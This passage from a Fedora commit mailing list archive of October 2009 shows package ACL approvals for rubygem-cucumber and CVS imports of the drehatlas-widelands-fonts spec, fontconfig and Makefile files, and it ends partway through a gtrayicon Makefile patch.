Subject: [pkgdb] rubygem-cucumber (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204850.36E5510F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-cucumber
kevin has set commit to Approved for 107427 on rubygem-cucumber (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-cucumber (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-cucumber (Fedora 11)
kevin approved watchbugzilla on rubygem-cucumber (Fedora 11) for mkent
kevin approved watchcommits on rubygem-cucumber (Fedora 11) for mkent
kevin approved commit on rubygem-cucumber (Fedora 11) for mkent
kevin approved build on rubygem-cucumber (Fedora 11) for mkent
kevin approved approveacls on rubygem-cucumber (Fedora 11) for mkent

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cucumber



From pkgdb at fedoraproject.org  Sat Oct 17 20:48:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:48:49 +0000
Subject: [pkgdb] rubygem-cucumber (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204850.4327610F8B9@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on rubygem-cucumber (Fedora devel) for mkent
kevin approved watchcommits on rubygem-cucumber (Fedora devel) for mkent
kevin approved commit on rubygem-cucumber (Fedora devel) for mkent
kevin approved build on rubygem-cucumber (Fedora devel) for mkent
kevin approved approveacls on rubygem-cucumber (Fedora devel) for mkent

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cucumber



From pkgdb at fedoraproject.org  Sat Oct 17 20:48:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:48:49 +0000
Subject: [pkgdb] rubygem-cucumber (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204850.5185210F8BE@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-cucumber
kevin has set commit to Approved for 107427 on rubygem-cucumber (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-cucumber (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-cucumber (Fedora 12)
kevin approved watchbugzilla on rubygem-cucumber (Fedora 12) for mkent
kevin approved watchcommits on rubygem-cucumber (Fedora 12) for mkent
kevin approved commit on rubygem-cucumber (Fedora 12) for mkent
kevin approved build on rubygem-cucumber (Fedora 12) for mkent
kevin approved approveacls on rubygem-cucumber (Fedora 12) for mkent

To make changes to this package see:
  /pkgdb/packages/name/rubygem-cucumber



From kevin at fedoraproject.org  Sat Oct 17 20:49:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:49:01 +0000 (UTC)
Subject: rpms/rubygem-cucumber - New directory
Message-ID: <20091017204901.9E44511C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-cucumber
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr10196/rpms/rubygem-cucumber

Log Message:
Directory /cvs/pkgs/rpms/rubygem-cucumber added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:49:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:49:01 +0000 (UTC)
Subject: rpms/rubygem-cucumber/devel - New directory
Message-ID: <20091017204901.E2DCF11C0269@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-cucumber/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr10196/rpms/rubygem-cucumber/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-cucumber/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:49:20 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:49:20 +0000 (UTC)
Subject: rpms/rubygem-cucumber Makefile,NONE,1.1
Message-ID: <20091017204920.2D62811C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-cucumber
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr10196/rpms/rubygem-cucumber

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-cucumber


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-cucumber
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:49:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:49:21 +0000 (UTC)
Subject: rpms/rubygem-cucumber/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091017204921.B8C6C11C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-cucumber/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr10196/rpms/rubygem-cucumber/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-cucumber


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-cucumber
# $Id: Makefile,v 1.1 2009/10/17 20:49:20 kevin Exp $
NAME := rubygem-cucumber
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From adsllc at fedoraproject.org  Sat Oct 17 21:05:37 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Sat, 17 Oct 2009 21:05:37 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts/devel 61-drehatlas-widelands.conf,
	NONE, 
	1.1 Makefile.widelands, NONE, 1.1 drehatlas-widelands-fonts.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017210537.BE74311C00EC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14723/devel

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-widelands.conf Makefile.widelands 
	drehatlas-widelands-fonts.spec import.log 
Log Message:
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Initial CVS checkin




--- NEW FILE 61-drehatlas-widelands.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Widelands</family>
    </prefer>
  </alias>
  <alias>
    <family>Widelands</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.widelands ---
BASENAME=Widelands

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-widelands-fonts.spec ---
%global fontname drehatlas-widelands
%global fontconf 61-%{fontname}.conf

# This is a highly-stylized titling font, so picking an ideal substitute with
# fontconfig is pointless

Name:		%{fontname}-fonts
Version:	1.0.2.2
Release:	6%{?dist}
Summary:	A Latin typeface inspired by feudal calligraphy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	widelands-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.widelands
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann as a logo for the Widelands project, but
has since been enhanced.  The font is decorative and not really usable for
real texts, but it looks nice for logos, banners or similar stuff.  All normal
latin glyphs and arabic numbers are included and usable.

%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} Widelands.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-6
- Remove "Preferred Family" data via a fontforge script instead of ugly hack

* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-5
- Prevent font from being called 'Decorative' instead of 'Widelands'

* Fri Oct 16 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Rename from olfb-widelands to drehatlas-widelands
- Update conversion Makefile to be more general

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-3
- Update for Fedora packaging guidelines

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-widelands-fonts-1_0_2_2-6_fc11:HEAD:drehatlas-widelands-fonts-1.0.2.2-6.fc11.src.rpm:1255813424


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:07 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:05:36 -0000	1.2
@@ -0,0 +1 @@
+widelands-1.0.2.2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:07 -0000	1.1
+++ sources	17 Oct 2009 21:05:36 -0000	1.2
@@ -0,0 +1 @@
+fff7953388ffe152a242e368c3bc42de  widelands-1.0.2.2.zip



From adsllc at fedoraproject.org  Sat Oct 17 21:06:54 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Sat, 17 Oct 2009 21:06:54 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts/F-12 61-drehatlas-widelands.conf,
	NONE, 
	1.1 Makefile.widelands, NONE, 1.1 drehatlas-widelands-fonts.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017210654.0E25411C00EC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15561/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-widelands.conf Makefile.widelands 
	drehatlas-widelands-fonts.spec import.log 
Log Message:
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Initial F-12 CVS checkin




--- NEW FILE 61-drehatlas-widelands.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Widelands</family>
    </prefer>
  </alias>
  <alias>
    <family>Widelands</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.widelands ---
BASENAME=Widelands

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-widelands-fonts.spec ---
%global fontname drehatlas-widelands
%global fontconf 61-%{fontname}.conf

# This is a highly-stylized titling font, so picking an ideal substitute with
# fontconfig is pointless

Name:		%{fontname}-fonts
Version:	1.0.2.2
Release:	6%{?dist}
Summary:	A Latin typeface inspired by feudal calligraphy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	widelands-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.widelands
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann as a logo for the Widelands project, but
has since been enhanced.  The font is decorative and not really usable for
real texts, but it looks nice for logos, banners or similar stuff.  All normal
latin glyphs and arabic numbers are included and usable.

%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} Widelands.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-6
- Remove "Preferred Family" data via a fontforge script instead of ugly hack

* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-5
- Prevent font from being called 'Decorative' instead of 'Widelands'

* Fri Oct 16 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Rename from olfb-widelands to drehatlas-widelands
- Update conversion Makefile to be more general

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-3
- Update for Fedora packaging guidelines

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-widelands-fonts-1_0_2_2-6_fc11:F-12:drehatlas-widelands-fonts-1.0.2.2-6.fc11.src.rpm:1255813580


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:07 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:06:53 -0000	1.2
@@ -0,0 +1 @@
+widelands-1.0.2.2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:07 -0000	1.1
+++ sources	17 Oct 2009 21:06:53 -0000	1.2
@@ -0,0 +1 @@
+fff7953388ffe152a242e368c3bc42de  widelands-1.0.2.2.zip



From adsllc at fedoraproject.org  Sat Oct 17 21:08:47 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Sat, 17 Oct 2009 21:08:47 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts/F-11 61-drehatlas-widelands.conf,
	NONE, 
	1.1 Makefile.widelands, NONE, 1.1 drehatlas-widelands-fonts.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017210848.008EE11C00EC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16013/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-widelands.conf Makefile.widelands 
	drehatlas-widelands-fonts.spec import.log 
Log Message:
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Initial F-11 CVS checkin




--- NEW FILE 61-drehatlas-widelands.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Widelands</family>
    </prefer>
  </alias>
  <alias>
    <family>Widelands</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.widelands ---
BASENAME=Widelands

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-widelands-fonts.spec ---
%global fontname drehatlas-widelands
%global fontconf 61-%{fontname}.conf

# This is a highly-stylized titling font, so picking an ideal substitute with
# fontconfig is pointless

Name:		%{fontname}-fonts
Version:	1.0.2.2
Release:	6%{?dist}
Summary:	A Latin typeface inspired by feudal calligraphy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	widelands-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.widelands
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann as a logo for the Widelands project, but
has since been enhanced.  The font is decorative and not really usable for
real texts, but it looks nice for logos, banners or similar stuff.  All normal
latin glyphs and arabic numbers are included and usable.

%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} Widelands.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-6
- Remove "Preferred Family" data via a fontforge script instead of ugly hack

* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-5
- Prevent font from being called 'Decorative' instead of 'Widelands'

* Fri Oct 16 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Rename from olfb-widelands to drehatlas-widelands
- Update conversion Makefile to be more general

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-3
- Update for Fedora packaging guidelines

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-widelands-fonts-1_0_2_2-6_fc11:F-11:drehatlas-widelands-fonts-1.0.2.2-6.fc11.src.rpm:1255813651


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:07 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:08:47 -0000	1.2
@@ -0,0 +1 @@
+widelands-1.0.2.2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:07 -0000	1.1
+++ sources	17 Oct 2009 21:08:47 -0000	1.2
@@ -0,0 +1 @@
+fff7953388ffe152a242e368c3bc42de  widelands-1.0.2.2.zip



From adsllc at fedoraproject.org  Sat Oct 17 21:09:57 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Sat, 17 Oct 2009 21:09:57 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts/F-10 61-drehatlas-widelands.conf,
	NONE, 
	1.1 Makefile.widelands, NONE, 1.1 drehatlas-widelands-fonts.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017210957.4FBC311C00EC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16686/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	61-drehatlas-widelands.conf Makefile.widelands 
	drehatlas-widelands-fonts.spec import.log 
Log Message:
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Initial F-10 CVS checkin




--- NEW FILE 61-drehatlas-widelands.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Widelands</family>
    </prefer>
  </alias>
  <alias>
    <family>Widelands</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE Makefile.widelands ---
BASENAME=Widelands

all: $(BASENAME).otf $(BASENAME).ttf

$(BASENAME).ttf: $(BASENAME).sfd convert-ttf.pe
	fontforge -script convert-ttf.pe

convert-ttf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-ttf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).ttf')" >> convert-ttf.pe

$(BASENAME).otf: $(BASENAME).sfd convert-otf.pe
	fontforge -script convert-otf.pe

convert-otf.pe:
	echo "Open('$(BASENAME).sfd')" > convert-otf.pe
	# Remove the inappropriate en_US Preferred Font Famly = Decorative attr
	echo "SetTTFName(0x409,16,'')" >> convert-otf.pe
	echo "Generate('$(BASENAME).otf')" >> convert-otf.pe



--- NEW FILE drehatlas-widelands-fonts.spec ---
%global fontname drehatlas-widelands
%global fontconf 61-%{fontname}.conf

# This is a highly-stylized titling font, so picking an ideal substitute with
# fontconfig is pointless

Name:		%{fontname}-fonts
Version:	1.0.2.2
Release:	6%{?dist}
Summary:	A Latin typeface inspired by feudal calligraphy
Group:		User Interface/X
License:	OFL
URL:		http://www.drehatlas.de/
Source0:	widelands-%{version}.zip
Source1:	%{fontconf}
Source2:	Makefile.widelands
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch
BuildRequires:	fontpackages-devel fontforge
Requires:	fontpackages-filesystem

%description
This font was created by Peter Schwanemann as a logo for the Widelands project, but
has since been enhanced.  The font is decorative and not really usable for
real texts, but it looks nice for logos, banners or similar stuff.  All normal
latin glyphs and arabic numbers are included and usable.

%prep
%setup -q -c %{name}-%{version}
# Wrap the license file at 80 chars
fold -s LICENSE > LICENSE.new
touch -r LICENSE LICENSE.new
mv LICENSE.new LICENSE

%build
# A .ttf file is included, but .otf is preferred.
make -f %{SOURCE2} Widelands.otf

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
	%{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.otf
%doc LICENSE FONTLOG

%changelog
* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-6
- Remove "Preferred Family" data via a fontforge script instead of ugly hack

* Sat Oct 17 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-5
- Prevent font from being called 'Decorative' instead of 'Widelands'

* Fri Oct 16 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-4
- Rename from olfb-widelands to drehatlas-widelands
- Update conversion Makefile to be more general

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-3
- Update for Fedora packaging guidelines

* Wed Oct 14 2009 Dave Ludlow <dave at adsllc.com> 1.0.2.2-1
- Initial packaging


--- NEW FILE import.log ---
drehatlas-widelands-fonts-1_0_2_2-6_fc11:F-10:drehatlas-widelands-fonts-1.0.2.2-6.fc11.src.rpm:1255813755


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:40:07 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:09:56 -0000	1.2
@@ -0,0 +1 @@
+widelands-1.0.2.2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drehatlas-widelands-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:40:07 -0000	1.1
+++ sources	17 Oct 2009 21:09:57 -0000	1.2
@@ -0,0 +1 @@
+fff7953388ffe152a242e368c3bc42de  widelands-1.0.2.2.zip



From cwickert at fedoraproject.org  Sat Oct 17 21:12:55 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 17 Oct 2009 21:12:55 +0000 (UTC)
Subject: rpms/gtrayicon/devel gtrayicon-1.1-makefile.patch, NONE,
	1.1 gtrayicon.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017211255.0B56211C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gtrayicon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14048/devel

Modified Files:
	.cvsignore sources 
Added Files:
	gtrayicon-1.1-makefile.patch gtrayicon.spec import.log 
Log Message:
Initial import of gtrayion. Reviewed at
https://bugzilla.redhat.com/show_bug.cgi?id=524605


gtrayicon-1.1-makefile.patch:
 Makefile |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE gtrayicon-1.1-makefile.patch ---
--- gtrayicon-1.1/Makefile.orig	2008-10-30 15:51:47.000000000 +0100
+++ gtrayicon-1.1/Makefile	2009-09-20 22:48:21.000000000 +0200
@@ -1,27 +1,27 @@
 CC = gcc
+CFLAGS =
 SOURCE = gtrayicon.c
 TARGET = gtrayicon
-INSTALL_PREFIX = /usr
+INSTALL_PREFIX = $(DESTDIR)/usr
 INSTALL = /usr/bin/install
 
 ########################################################################
 
+all: $(TARGET)
+
 $(TARGET): $(SOURCE)
